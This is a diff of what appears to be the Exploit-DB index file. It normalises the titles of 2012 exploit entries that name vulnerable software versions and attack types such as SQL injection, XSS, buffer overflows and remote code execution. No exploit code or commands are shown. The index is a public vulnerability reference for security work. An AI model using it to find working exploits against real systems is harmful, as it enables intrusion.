 18578,platforms/php/webapps/18578.txt,"PHP Address Book 6.2.12 Multiple security vulnerabilities",2012-03-10,"Stefan Schurtz",php,webapps,0
-18579,platforms/linux/dos/18579.txt,"PyPAM -- Python bindings for PAM - Double Free Corruption",2012-03-10,"Markus Vervier",linux,dos,0
+18579,platforms/linux/dos/18579.txt,"PyPAM - Python bindings for PAM - Double Free Corruption",2012-03-10,"Markus Vervier",linux,dos,0
 18582,platforms/cgi/webapps/18582.txt,"Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities",2012-03-12,LiquidWorm,cgi,webapps,0
 18583,platforms/php/webapps/18583.txt,"Saman Portal Local File Inclusion Vulnerability",2012-03-12,TMT,php,webapps,0
 18584,platforms/windows/dos/18584.txt,"GOM Media Player 2.1.37 Buffer Overflow Vulnerability",2012-03-12,longrifle0x,windows,dos,0
@@ -16080,10 +16080,10 @@ id,file,description,date,author,platform,type,port
 18605,platforms/windows/webapps/18605.txt,"Sockso <= 1.5 Directory Traversal",2012-03-15,"Luigi Auriemma",windows,webapps,0
 18606,platforms/windows/dos/18606.txt,"Microsoft Terminal Services Use After Free (MS12-020)",2012-03-16,"Luigi Auriemma",windows,dos,0
 18607,platforms/php/webapps/18607.txt,"OneFileCMS 1.1.5 - Local File Inclusion Vulnerability",2012-03-16,mr.pr0n,php,webapps,0
-18608,platforms/php/webapps/18608.txt,"Persistent XSS in FlexCMS 3.2.1 for logged in users",2012-03-16,storm,php,webapps,0
+18608,platforms/php/webapps/18608.txt,"FlexCMS 3.2.1 - Persistent XSS for logged in users",2012-03-16,storm,php,webapps,0
 18609,platforms/php/webapps/18609.txt,"FlexCMS 3.2.1 Multiple CSRF Vulnerabilities",2012-03-16,"Ivano Binetti",php,webapps,0
-18610,platforms/windows/remote/18610.pl,"Tiny Server v1.1.5 Arbitrary File Disclosure Exploit",2012-03-16,KaHPeSeSe,windows,remote,0
-18611,platforms/windows/local/18611.rb,"RM Downloader Version 3.1.3.3.2010.06.26 (.m3u) Buffer Overflow (MSF)",2012-03-16,KaHPeSeSe,windows,local,0
+18610,platforms/windows/remote/18610.pl,"Tiny Server 1.1.5 - Arbitrary File Disclosure Exploit",2012-03-16,KaHPeSeSe,windows,remote,0
+18611,platforms/windows/local/18611.rb,"RM Downloader 3.1.3.3.2010.06.26 - (.m3u) Buffer Overflow (MSF)",2012-03-16,KaHPeSeSe,windows,local,0
 18613,platforms/php/webapps/18613.txt,"ASP Classifieds Sql Injection",2012-03-17,r45c4l,php,webapps,0
 18614,platforms/php/webapps/18614.txt,"PRE PRINTING STUDIO Sql Injection",2012-03-17,r45c4l,php,webapps,0
 18615,platforms/windows/dos/18615.py,"TypesoftFTP Server 1.1 Remote DoS (APPE)",2012-03-17,"brock haun",windows,dos,0
@@ -16096,15 +16096,15 @@ id,file,description,date,author,platform,type,port
 18624,platforms/windows/remote/18624.txt,"2X Client for RDP 10.1.1204 ClientSystem Class ActiveX Control Download and Execute Vulnerability",2012-03-19,rgod,windows,remote,0
 18625,platforms/windows/remote/18625.txt,"2X ApplicationServer 10.1 TuxSystem Class ActiveX Control Remote File Overwrite Vulnerability",2012-03-19,rgod,windows,remote,0
 18626,platforms/jsp/webapps/18626.txt,"ManageEngine DeviceExpert 5.6 Java Server ScheduleResultViewer servlet Unauthenticated Remote Directory Traversal Vulnerability",2012-03-19,rgod,jsp,webapps,0
-18628,platforms/windows/dos/18628.py,"PeerFTP Server <=v4.01 Remote Crash PoC",2012-03-20,localh0t,windows,dos,0
+18628,platforms/windows/dos/18628.py,"PeerFTP Server <= 4.01 - Remote Crash PoC",2012-03-20,localh0t,windows,dos,0
 18629,platforms/windows/dos/18629.py,"Tiny Server <= 1.1.9 HTTP HEAD DoS",2012-03-20,"brock haun",windows,dos,0
 18630,platforms/hardware/dos/18630.txt,"Android FTPServer 1.9.0 Remote DoS",2012-03-20,G13,hardware,dos,0
 18631,platforms/php/webapps/18631.txt,"OneForum (topic.php) SQL Injection Vulnerability",2012-03-20,"Red Security TEAM",php,webapps,0
 18632,platforms/php/webapps/18632.txt,"OneFileCMS - Failure to Restrict URL Access",2012-03-20,"Abhi M Balakrishnan",php,webapps,0
 18633,platforms/windows/dos/18633.txt,"Adobe Photoshop 12.1 Tiff Parsing Use-After-Free",2012-03-20,"Francis Provencher",windows,dos,0
 18634,platforms/windows/remote/18634.rb,"Dell Webcam CrazyTalk ActiveX BackImage Vulnerability",2012-03-21,metasploit,windows,remote,0
-18636,platforms/windows/dos/18636.txt,"Oreans Themida v2.1.8.0 TMD File Handling Buffer Overflow Vulnerability",2012-03-21,LiquidWorm,windows,dos,0
-18637,platforms/windows/dos/18637.txt,"Oreans WinLicense v2.1.8.0 XML File Handling Unspecified Memory Corruption",2012-03-21,LiquidWorm,windows,dos,0
+18636,platforms/windows/dos/18636.txt,"Oreans Themida 2.1.8.0 - TMD File Handling Buffer Overflow Vulnerability",2012-03-21,LiquidWorm,windows,dos,0
+18637,platforms/windows/dos/18637.txt,"Oreans WinLicense 2.1.8.0 - XML File Handling Unspecified Memory Corruption",2012-03-21,LiquidWorm,windows,dos,0
 18638,platforms/hardware/webapps/18638.txt,"D-Link DIR-605 CSRF Vulnerability",2012-03-21,iqzer0,hardware,webapps,0
 18639,platforms/php/webapps/18639.txt,"phpList 2.10.17 Remote SQL Injection and XSS Vulnerability",2012-03-21,LiquidWorm,php,webapps,0
 18640,platforms/windows/remote/18640.txt,"Google Talk gtalk:// Deprecated Uri Handler Parameter Injection Vulnerability",2012-03-22,rgod,windows,remote,0
@@ -16116,7 +16116,7 @@ id,file,description,date,author,platform,type,port
 18647,platforms/php/webapps/18647.txt,"PHP Grade Book 1.9.4 Unauthenticated SQL Database Export",2012-03-22,"Mark Stanislav",php,webapps,0
 18648,platforms/php/webapps/18648.txt,"phpMoneyBooks 1.0.2 Local File Inclusion",2012-03-22,"Mark Stanislav",php,webapps,0
 18649,platforms/php/webapps/18649.txt,"FreePBX 2.10.0, 2.9.0 Multiple Vulnerabilities",2012-03-22,"Martin Tschirsich",php,webapps,0
-18650,platforms/php/webapps/18650.py,"FreePBX 2.10.0 / Elastix 2.2.0  Remote Code Execution Exploit",2012-03-23,muts,php,webapps,0
+18650,platforms/php/webapps/18650.py,"FreePBX 2.10.0 / Elastix 2.2.0 Remote Code Execution Exploit",2012-03-23,muts,php,webapps,0
 18651,platforms/asp/webapps/18651.txt,"Sitecom WLM-2501 new Multiple CSRF Vulnerabilities",2012-03-23,"Ivano Binetti",asp,webapps,0
 18652,platforms/php/webapps/18652.txt,"Wolfcms <= 0.75 Multiple Vulnerabilities (CSRF - XSS)",2012-03-23,"Ivano Binetti",php,webapps,0
 18654,platforms/windows/dos/18654.txt,"Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit",2012-03-23,LiquidWorm,windows,dos,0
@@ -16131,26 +16131,26 @@ id,file,description,date,author,platform,type,port
 18666,platforms/windows/remote/18666.rb,"UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow",2012-03-26,metasploit,windows,remote,0
 18667,platforms/php/webapps/18667.html,"Family CMS 2.9 and earlier multiple Vulnerabilities",2012-03-26,"Ahmed Elhady Mohamed",php,webapps,0
 18668,platforms/php/webapps/18668.txt,"vBshop Multiple Persistent XSS Vulnerabilities",2012-03-26,ToiL,php,webapps,0
-18670,platforms/php/webapps/18670.txt,"PicoPublisher v2.0 Remote SQL Injection",2012-03-28,ZeTH,php,webapps,0
+18670,platforms/php/webapps/18670.txt,"PicoPublisher 2.0 - Remote SQL Injection",2012-03-28,ZeTH,php,webapps,0
 18671,platforms/windows/dos/18671.pl,"KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit",2012-03-28,"Stefan Schurtz",windows,dos,0
 18672,platforms/windows/remote/18672.txt,"Quest InTrust 10.4.x ReportTree and SimpleTree Classes",2012-03-28,rgod,windows,remote,0
 18673,platforms/hardware/remote/18673.txt,"D-Link DCS-5605 Network Surveillance ActiveX Control DcsCliCtrl.dll lstrcpyW Remote Buffer Overflow Vulnerability",2012-03-28,rgod,hardware,remote,0
 18674,platforms/windows/remote/18674.txt,"Quest InTrust 10.4.x Annotation Objects ActiveX Control AnnotateX.dll Uninitialized Pointer Remote Code Execution",2012-03-28,rgod,windows,remote,0
 18675,platforms/hardware/remote/18675.txt,"TRENDnet SecurView TV-IP121WN Wireless Internet Camera UltraMJCam ActiveX Control OpenFileDlg WideCharToMultiByte Remote Stack Buffer Overflow",2012-03-28,rgod,hardware,remote,0
-18676,platforms/php/webapps/18676.txt,"boastMachine v3.1 <= CSRF Add Admin Vulnerability",2012-03-28,Dr.NaNo,php,webapps,0
+18676,platforms/php/webapps/18676.txt,"boastMachine <= 3.1 - CSRF Add Admin Vulnerability",2012-03-28,Dr.NaNo,php,webapps,0
 18679,platforms/multiple/remote/18679.rb,"Java AtomicReferenceArray Type Violation Vulnerability",2012-03-30,metasploit,multiple,remote,0
 18680,platforms/php/webapps/18680.txt,"Coppermine 1.5.18 Multiple Vulnerabilities",2012-03-30,waraxe,php,webapps,0
 18681,platforms/windows/local/18681.txt,"Bitsmith PS Knowbase 3.2.3 - Buffer Overflow Vulnerability",2012-03-30,Vulnerability-Lab,windows,local,0
 18682,platforms/php/webapps/18682.txt,"ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection Vulnerabilities",2012-03-30,"SecPod Research",php,webapps,0
-18683,platforms/windows/remote/18683.py,"MailMax <=v4.6 POP3 ""USER"" Remote Buffer Overflow Exploit (No Login Needed)",2012-03-30,localh0t,windows,remote,0
+18683,platforms/windows/remote/18683.py,"MailMax <= 4.6 - POP3 ""USER"" Remote Buffer Overflow Exploit (No Login Needed)",2012-03-30,localh0t,windows,remote,0
 18685,platforms/php/webapps/18685.txt,"dalbum 144 build 174 and earlier CSRF Vulnerabilities",2012-03-30,"Ahmed Elhady Mohamed",php,webapps,0
 18686,platforms/php/webapps/18686.txt,"SyndeoCMS <= 3.0.01 Persistent XSS",2012-03-30,"Ivano Binetti",php,webapps,0
 18687,platforms/php/webapps/18687.txt,"Landshop v0.9.2 - Multiple Web Vulnerabilities",2012-03-31,Vulnerability-Lab,php,webapps,0
-18688,platforms/hardware/dos/18688.txt,"Denial of Service in EMC Data Protection Advisor 5.8.1",2012-03-31,"Luigi Auriemma",hardware,dos,0
+18688,platforms/hardware/dos/18688.txt,"EMC Data Protection Advisor 5.8.1 - Denial of Service",2012-03-31,"Luigi Auriemma",hardware,dos,0
 18689,platforms/php/webapps/18689.txt,"Woltlab Burning Board 2.2 / 2.3 [WN]KT KickTipp 3.1 remote SQL Injection",2012-03-31,"Easy Laster",php,webapps,0
 18690,platforms/php/webapps/18690.txt,"Buddypress plugin of Wordpress remote SQL Injection",2012-03-31,"Ivan Terkin",php,webapps,0
-18691,platforms/windows/dos/18691.rb,"Denial of Service in FoxPlayer version 2.6.0",2012-04-01,"Ahmed Elhady Mohamed",windows,dos,0
-18692,platforms/linux/dos/18692.rb,"SnackAmp 3.1.3 Malicious aiff File Denial of service",2012-04-01,"Ahmed Elhady Mohamed",linux,dos,0
+18691,platforms/windows/dos/18691.rb,"FoxPlayer 2.6.0 - Denial of Service",2012-04-01,"Ahmed Elhady Mohamed",windows,dos,0
+18692,platforms/linux/dos/18692.rb,"SnackAmp 3.1.3 - (.aiff) Denial of Service",2012-04-01,"Ahmed Elhady Mohamed",linux,dos,0
 18693,platforms/windows/local/18693.py,"BlazeVideo HDTV Player 6.6 Professional SEH&DEP&ASLR",2012-04-03,b33f,windows,local,0
 18694,platforms/php/webapps/18694.txt,"Simple PHP Agenda <= 2.2.8 CSRF (Add Admin - Add Event)",2012-04-03,"Ivano Binetti",php,webapps,0
 18695,platforms/windows/remote/18695.py,"Sysax <= 5.57 Directory Traversal",2012-04-03,"Craig Freyman",windows,remote,0
@@ -16173,12 +16173,12 @@ id,file,description,date,author,platform,type,port
 18717,platforms/windows/dos/18717.txt,"AnvSoft Any Video Converter 4.3.6 - Multiple Buffer Overflow",2012-04-08,Vulnerability-Lab,windows,dos,0
 18718,platforms/windows/remote/18718.txt,"Distinct TFTP Server <= 3.01 Directory Traversal Vulnerability",2012-04-08,modpr0be,windows,remote,0
 18719,platforms/windows/dos/18719.pl,"Play [EX] 2.1 Playlist File (M3U/PLS/LST) DoS Exploit",2012-04-08,Death-Shadow-Dark,windows,dos,0
-18720,platforms/php/webapps/18720.txt,"Utopia News Pro 1.4.0 <= CSRF Add Admin Vulnerability",2012-04-08,Dr.NaNo,php,webapps,0
+18720,platforms/php/webapps/18720.txt,"Utopia News Pro <= 1.4.0 - CSRF Add Admin Vulnerability",2012-04-08,Dr.NaNo,php,webapps,0
 18722,platforms/cgi/webapps/18722.txt,"ZTE Change admin password",2012-04-08,"Nuevo Asesino",cgi,webapps,0
 18723,platforms/multiple/remote/18723.rb,"Snort 2 DCE/RPC preprocessor Buffer Overflow",2012-04-09,metasploit,multiple,remote,0
 18724,platforms/php/webapps/18724.rb,"Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",2012-04-09,metasploit,php,webapps,0
 18725,platforms/php/webapps/18725.txt,"Dolibarr ERP & CRM OS Command Injection",2012-04-09,"Nahuel Grisolia",php,webapps,0
-18726,platforms/windows/local/18726.py,"Mini-stream RM-MP3 Converter v3.1.2.2 Local Buffer Overflow",2012-04-09,"SkY-NeT SySteMs",windows,local,0
+18726,platforms/windows/local/18726.py,"Mini-stream RM-MP3 Converter 3.1.2.2 - Local Buffer Overflow",2012-04-09,"SkY-NeT SySteMs",windows,local,0
 18727,platforms/windows/remote/18727.rb,"IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",2012-04-10,metasploit,windows,remote,0
 18728,platforms/php/webapps/18728.txt,"joomla component The Estate Agent (com_estateagent) SQL injection Vulnerability",2012-04-10,xDarkSton3x,php,webapps,0
 18729,platforms/php/webapps/18729.txt,"joomla component (com_bearleague) SQL injection Vulnerability",2012-04-10,xDarkSton3x,php,webapps,0
@@ -16194,11 +16194,11 @@ id,file,description,date,author,platform,type,port
 18741,platforms/php/webapps/18741.txt,"joomla component (com_ponygallery) SQL injection Vulnerability",2012-04-15,xDarkSton3x,php,webapps,0
 18742,platforms/php/webapps/18742.php,"NetworX CMS - CSRF Add Admin",2012-04-15,N3t.Crack3r,php,webapps,0
 18743,platforms/php/webapps/18743.txt,"MediaXxx Adult Video / Media Script SQL Injection",2012-04-15,"Daniel Godoy",php,webapps,0
-18745,platforms/multiple/webapps/18745.txt,"ManageEngine Support Center Plus <=7903 Multiple Vulnerabilities",2012-04-15,xistence,multiple,webapps,0
+18745,platforms/multiple/webapps/18745.txt,"ManageEngine Support Center Plus <= 7903 - Multiple Vulnerabilities",2012-04-15,xistence,multiple,webapps,0
 18747,platforms/windows/local/18747.rb,"CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit",2012-04-18,metasploit,windows,local,0
 18748,platforms/windows/local/18748.rb,"GSM SIM Editor 5.15 Buffer Overflow",2012-04-18,metasploit,windows,local,0
 18749,platforms/osx/local/18749.py,"Office 2008 sp0 RTF Pfragments MAC exploit",2012-04-18,"Abhishek Lyall",osx,local,0
-18750,platforms/multiple/webapps/18750.txt,"Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer",2012-04-19,"Trustwave's SpiderLabs",multiple,webapps,0
+18750,platforms/multiple/webapps/18750.txt,"Scrutinizer NetFlow & sFlow Analyzer - Multiple Vulnerabilities",2012-04-19,"Trustwave's SpiderLabs",multiple,webapps,0
 18751,platforms/hardware/dos/18751.txt,"Samsung D6000 TV Multiple Vulnerabilities",2012-04-19,"Luigi Auriemma",hardware,dos,0
 18752,platforms/php/webapps/18752.txt,"Newscoop 3.5.3 Multiple Vulnerabilities",2012-04-19,"High-Tech Bridge SA",php,webapps,0
 18753,platforms/php/webapps/18753.txt,"XOOPS 2.5.4 Multiple XSS Vulnerabilities",2012-04-19,"High-Tech Bridge SA",php,webapps,0
@@ -16216,8 +16216,8 @@ id,file,description,date,author,platform,type,port
 18766,platforms/windows/webapps/18766.txt,"Oracle GlassFish Server - REST CSRF",2012-04-22,"Roberto Suggi Liverani",windows,webapps,0
 18768,platforms/php/webapps/18768.txt,"Mega File Manager - File Download Vulnerability",2012-04-22,"i2sec-Min Gi Jo",php,webapps,0
 18770,platforms/php/webapps/18770.txt,"vtiger CRM 5.1.0 Local File Inclusion",2012-04-22,Pi3rrot,php,webapps,0
-18771,platforms/windows/dos/18771.txt,"SumatraPDF v2.0.1 .chm and .mobi  Memory Corruption",2012-04-23,shinnai,windows,dos,0
-18772,platforms/php/webapps/18772.txt,"Havalite CMS v1.0.4 Multiple Vulnerabilities",2012-04-23,Vulnerability-Lab,php,webapps,0
+18771,platforms/windows/dos/18771.txt,"SumatraPDF 2.0.1 - (.chm) & (.mobi) Memory Corruption",2012-04-23,shinnai,windows,dos,0
+18772,platforms/php/webapps/18772.txt,"Havalite CMS 1.0.4 - Multiple Vulnerabilities",2012-04-23,Vulnerability-Lab,php,webapps,0
 18773,platforms/php/webapps/18773.txt,"ExponentCMS 2.0.5 Multiple Vulnerabilities",2012-04-23,"Onur Y?lmaz",php,webapps,0
 18774,platforms/windows/dos/18774.txt,"Mobipocket Reader 6.2 Build 608 Buffer Overflow",2012-04-23,shinnai,windows,dos,0
 18775,platforms/php/webapps/18775.php,"WebCalendar <= 1.2.4 (install/index.php) Remote Code Execution",2012-04-23,EgiX,php,webapps,0
@@ -16240,10 +16240,10 @@ id,file,description,date,author,platform,type,port
 18798,platforms/php/webapps/18798.txt,"Soco CMS Local File Include Vulnerability",2012-04-29,"BHG Security Center",php,webapps,0
 18799,platforms/windows/dos/18799.py,"Remote-Anything Player 5.60.15 Denial of Service",2012-04-29,"Saint Patrick",windows,dos,0
 18800,platforms/php/webapps/18800.txt,"Alienvault OSSIM Open Source SIEM 3.1 Multiple Security Vulnerabilities",2012-04-29,"Stefan Schurtz",php,webapps,0
-18801,platforms/php/webapps/18801.txt,"Car Portal CMS v3.0 - Multiple Vulnerabilities",2012-04-30,Vulnerability-Lab,php,webapps,0
+18801,platforms/php/webapps/18801.txt,"Car Portal CMS 3.0 - Multiple Vulnerabilities",2012-04-30,Vulnerability-Lab,php,webapps,0
 18802,platforms/asp/webapps/18802.txt,"C4B XPhone UC Web 4.1.890S R1 XSS Vulnerability",2012-04-30,Vulnerability-Lab,asp,webapps,0
-18803,platforms/php/webapps/18803.txt,"Opial CMS v2.0 Multiple Vulnerabilities",2012-04-30,Vulnerability-Lab,php,webapps,0
-18804,platforms/php/webapps/18804.txt,"DIY CMS v1.0 Poll Multiple Vulnerabilities",2012-04-30,Vulnerability-Lab,php,webapps,0
+18803,platforms/php/webapps/18803.txt,"Opial CMS 2.0 - Multiple Vulnerabilities",2012-04-30,Vulnerability-Lab,php,webapps,0
+18804,platforms/php/webapps/18804.txt,"DIY CMS 1.0 Poll - Multiple Vulnerabilities",2012-04-30,Vulnerability-Lab,php,webapps,0
 18805,platforms/windows/remote/18805.txt,"McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX GetObject() Exploit",2012-04-30,rgod,windows,remote,0
 18806,platforms/php/webapps/18806.txt,"Wordpress Zingiri Web Shop Plugin <= 2.4.2 Persistent XSS",2012-05-01,"Mehmet Ince",php,webapps,0
 18808,platforms/windows/local/18808.html,"SAMSUNG NET-i Viewer 1.37 SEH Overwrite",2012-05-01,Blake,windows,local,0
@@ -16252,7 +16252,7 @@ id,file,description,date,author,platform,type,port
 18813,platforms/php/webapps/18813.txt,"OpenCart 1.5.2.1 Multiple Vulnerabilities",2012-05-01,waraxe,php,webapps,0
 18814,platforms/php/webapps/18814.txt,"MyClientBase v0.12 - Multiple Vulnerabilities",2012-05-01,Vulnerability-Lab,php,webapps,0
 18815,platforms/php/webapps/18815.txt,"STRATO Newsletter Manager Directory Traversal",2012-05-01,"Zero X",php,webapps,0
-18816,platforms/windows/dos/18816.py,"LAN Messenger <= v1.2.28 Denial of Service Vulnerability",2012-05-01,"Julien Ahrens",windows,dos,0
+18816,platforms/windows/dos/18816.py,"LAN Messenger <= 1.2.28 - Denial of Service Vulnerability",2012-05-01,"Julien Ahrens",windows,dos,0
 18817,platforms/hardware/dos/18817.py,"Mikrotik Router Denial of Service",2012-05-01,PoURaN,hardware,dos,0
 18818,platforms/windows/remote/18818.py,"Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit",2012-05-01,muts,windows,remote,0
 18819,platforms/windows/dos/18819.cpp,"Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability",2012-05-02,"Lufeng Li",windows,dos,0
@@ -16262,7 +16262,7 @@ id,file,description,date,author,platform,type,port
 18824,platforms/cgi/webapps/18824.txt,"Websense Triton Multiple Vulnerabilities",2012-05-02,"Ben Williams",cgi,webapps,0
 18825,platforms/windows/remote/18825.rb,"VLC MMS Stream Handling Buffer Overflow",2012-05-03,metasploit,windows,remote,0
 18826,platforms/windows/local/18826.py,"AnvSoft Any Video Converter 4.3.6 Stack Overflow Exploit",2012-05-03,cikumel,windows,local,0
-18827,platforms/php/webapps/18827.txt,"Baby Gekko CMS v1.1.5c Multiple Stored XSS Vulnerabilities",2012-05-03,LiquidWorm,php,webapps,0
+18827,platforms/php/webapps/18827.txt,"Baby Gekko CMS 1.1.5c - Multiple Stored XSS Vulnerabilities",2012-05-03,LiquidWorm,php,webapps,0
 18828,platforms/php/webapps/18828.txt,"PluXml 5.1.5 Local File Inclusion",2012-05-03,"High-Tech Bridge SA",php,webapps,0
 18832,platforms/php/webapps/18832.txt,"Symantec Web Gateway Cross Site Scripting",2012-05-04,B00y@,php,webapps,0
 18833,platforms/windows/remote/18833.rb,"Solarwinds Storage Manager 5.1.0 SQL Injection",2012-05-04,metasploit,windows,remote,0
@@ -16270,8 +16270,8 @@ id,file,description,date,author,platform,type,port
 18836,platforms/php/remote/18836.py,"PHP CGI Argument Injection Exploit",2012-05-05,rayh4c,php,remote,0
 18840,platforms/asp/webapps/18840.txt,"Fortinet FortiWeb Web Application Firewall Policy Bypass",2012-05-07,"Geffrey Velasquez",asp,webapps,0
 18841,platforms/cgi/webapps/18841.txt,"Lynx Message Server Multiple Vulnerabilities",2012-05-07,"Mark Lachniet",cgi,webapps,0
-18842,platforms/php/webapps/18842.txt,"Genium CMS 2012|Q2 Multiple Vulnerabilities",2012-05-07,Vulnerability-Lab,php,webapps,0
-18843,platforms/php/webapps/18843.txt,"MYRE Real Estate Mobile 2012|2 Multiple Vulnerabilities",2012-05-07,Vulnerability-Lab,php,webapps,0
+18842,platforms/php/webapps/18842.txt,"Genium CMS 2012/Q2 - Multiple Vulnerabilities",2012-05-07,Vulnerability-Lab,php,webapps,0
+18843,platforms/php/webapps/18843.txt,"MYRE Real Estate Mobile 2012/2 Multiple Vulnerabilities",2012-05-07,Vulnerability-Lab,php,webapps,0
 18844,platforms/php/webapps/18844.txt,"myCare2x CMS Multiple Vulnerabilities",2012-05-07,Vulnerability-Lab,php,webapps,0
 18845,platforms/php/webapps/18845.txt,"PHP Agenda 2.2.8 SQLi Vulnerability",2012-05-07,loneferret,php,webapps,0
 18847,platforms/windows/remote/18847.rb,"Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability",2012-05-09,metasploit,windows,remote,0
@@ -16288,18 +16288,18 @@ id,file,description,date,author,platform,type,port
 18864,platforms/windows/dos/18864.txt,"QNX phrelay/phindows/phditto Multiple Vulnerabilities",2012-05-11,"Luigi Auriemma",windows,dos,0
 18865,platforms/php/webapps/18865.rb,"WikkaWiki 1.3.2 Spam Logging PHP Injection",2012-05-12,metasploit,php,webapps,0
 18866,platforms/windows/remote/18866.rb,"Distinct TFTP 3.01 Writable Directory Traversal Execution",2012-05-12,metasploit,windows,remote,0
-18868,platforms/php/webapps/18868.txt,"Sockso <=1.51 Persistent XSS",2012-05-12,"Ciaran McNally",php,webapps,0
+18868,platforms/php/webapps/18868.txt,"Sockso <= 1.51 - Persistent XSS",2012-05-12,"Ciaran McNally",php,webapps,0
 18869,platforms/windows/local/18869.pl,"AnvSoft Any Video Converter 4.3.6 Unicode Buffer Overflow",2012-05-12,h1ch4m,windows,local,0
 18870,platforms/windows/remote/18870.rb,"Firefox 8/9 AttributeChildRemoved() Use-After-Free",2012-05-13,metasploit,windows,remote,0
-18871,platforms/php/webapps/18871.txt,"Travelon Express CMS v6.2.2 Multiple Vulnerabilities",2012-05-13,Vulnerability-Lab,php,webapps,0
-18872,platforms/php/webapps/18872.txt,"Proman Xpress v5.0.1 Multiple Vulnerabilities",2012-05-13,Vulnerability-Lab,php,webapps,0
+18871,platforms/php/webapps/18871.txt,"Travelon Express CMS 6.2.2 - Multiple Vulnerabilities",2012-05-13,Vulnerability-Lab,php,webapps,0
+18872,platforms/php/webapps/18872.txt,"Proman Xpress 5.0.1 - Multiple Vulnerabilities",2012-05-13,Vulnerability-Lab,php,webapps,0
 18873,platforms/php/webapps/18873.txt,"Viscacha Forum CMS v0.8.1.1 Multiple Vulnerabilities",2012-05-13,Vulnerability-Lab,php,webapps,0
-18874,platforms/php/webapps/18874.txt,"Free Realty v3.1-0.6 Multiple Vulnerabilities",2012-05-13,Vulnerability-Lab,php,webapps,0
+18874,platforms/php/webapps/18874.txt,"Free Realty 3.1-0.6 - Multiple Vulnerabilities",2012-05-13,Vulnerability-Lab,php,webapps,0
 18875,platforms/php/webapps/18875.txt,"Galette (picture.php) SQL Injection Vulnerability",2012-05-13,sbz,php,webapps,0
 18877,platforms/multiple/dos/18877.txt,"FlexNet License Server Manager Stack Overflow In lmgrd",2012-05-14,"Luigi Auriemma",multiple,dos,0
 18878,platforms/windows/dos/18878.txt,"Pro-face Pro-Server EX WinGP PC Runtime Multiple Vulnerabilities",2012-05-14,"Luigi Auriemma",windows,dos,0
-18879,platforms/windows/dos/18879.rb,"Multimedia Builder 4.9.8 Malicious mef Crash",2012-05-15,"Ahmed Elhady Mohamed",windows,dos,0
-18881,platforms/java/webapps/18881.txt,"Liferay Portal  6.1 - 6.0.x Privilege Escalation",2012-05-13,"Jelmer Kuperus",java,webapps,0
+18879,platforms/windows/dos/18879.rb,"Multimedia Builder 4.9.8 - (.mef) DoS",2012-05-15,"Ahmed Elhady Mohamed",windows,dos,0
+18881,platforms/java/webapps/18881.txt,"Liferay Portal 6.1 - 6.0.x Privilege Escalation",2012-05-13,"Jelmer Kuperus",java,webapps,0
 18882,platforms/php/webapps/18882.txt,"b2ePMS 1.0 Authentication Bypass Vulnerability",2012-05-15,"Jean Pascal Pereira",php,webapps,0
 18884,platforms/php/webapps/18884.txt,"Serendipity 1.6 Backend XSS And SQLi Vulnerability",2012-05-08,"Stefan Schurtz",php,webapps,0
 18885,platforms/linux/shellcode/18885.c,"linux/x86 execve(/bin/dash) 42 bytes",2012-05-16,X-h4ck,linux,shellcode,0
@@ -16307,16 +16307,16 @@ id,file,description,date,author,platform,type,port
 18888,platforms/jsp/webapps/18888.txt,"OpenKM Document Management System 5.1.7 Command Execution",2012-01-03,"Cyrill Brunschwiler",jsp,webapps,0
 18889,platforms/php/webapps/18889.txt,"Artiphp CMS 5.5.0 Database Backup Disclosure Exploit",2012-05-16,LiquidWorm,php,webapps,0
 18890,platforms/multiple/dos/18890.txt,"Trigerring Java Code from a SVG Image",2012-05-16,"Nicolas Gregoire",multiple,dos,0
-18892,platforms/windows/local/18892.txt,"SkinCrafter ActiveX Control version 3.0 Buffer Overflow",2012-05-17,"saurabh sharma",windows,local,0
+18892,platforms/windows/local/18892.txt,"SkinCrafter ActiveX Control 3.0 - Buffer Overflow",2012-05-17,"saurabh sharma",windows,local,0
 18893,platforms/hardware/remote/18893.py,"HP VSA Remote Command Execution Exploit",2012-02-17,"Nicolas Gregoire",hardware,remote,0
 18894,platforms/windows/dos/18894.txt,"Windows XP Keyboard Layouts Pool Corruption LPE 0day PoC (post-MS12-034)",2012-05-18,Cr4sh,windows,dos,0
 18896,platforms/multiple/remote/18896.rb,"Squiggle 1.7 SVG Browser Java Code Execution",2012-05-19,metasploit,multiple,remote,0
 18897,platforms/windows/remote/18897.rb,"Oracle Weblogic Apache Connector POST Request Buffer Overflow",2012-05-19,metasploit,windows,remote,0
 18898,platforms/php/remote/18898.rb,"Active Collab ""chat module"" <= 2.3.8 Remote PHP Code Injection Exploit",2012-05-19,metasploit,php,remote,0
 18899,platforms/php/webapps/18899.txt,"PHP Address Book 7.0.0 Multiple Vulnerabilities",2012-05-19,"Stefan Schurtz",php,webapps,0
-18900,platforms/php/webapps/18900.txt,"FreeNAC version 3.02 SQL Injection and XSS Vulnerabilties",2012-05-19,Blake,php,webapps,0
+18900,platforms/php/webapps/18900.txt,"FreeNAC 3.02 - SQL Injection and XSS Vulnerabilties",2012-05-19,Blake,php,webapps,0
 18901,platforms/hardware/remote/18901.rb,"HP StorageWorks P4000 Virtual SAN Appliance Command Execution",2012-05-21,metasploit,hardware,remote,0
-18902,platforms/windows/dos/18902.rb,"Real-DRAW PRO 5.2.4  Import File Crash",2012-05-21,"Ahmed Elhady Mohamed",windows,dos,0
+18902,platforms/windows/dos/18902.rb,"Real-DRAW PRO 5.2.4 Import File Crash",2012-05-21,"Ahmed Elhady Mohamed",windows,dos,0
 18903,platforms/windows/dos/18903.rb,"DVD-Lab Studio 1.25 DAL File Open Crash",2012-05-21,"Ahmed Elhady Mohamed",windows,dos,0
 18905,platforms/windows/local/18905.rb,"Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow",2012-05-21,metasploit,windows,local,0
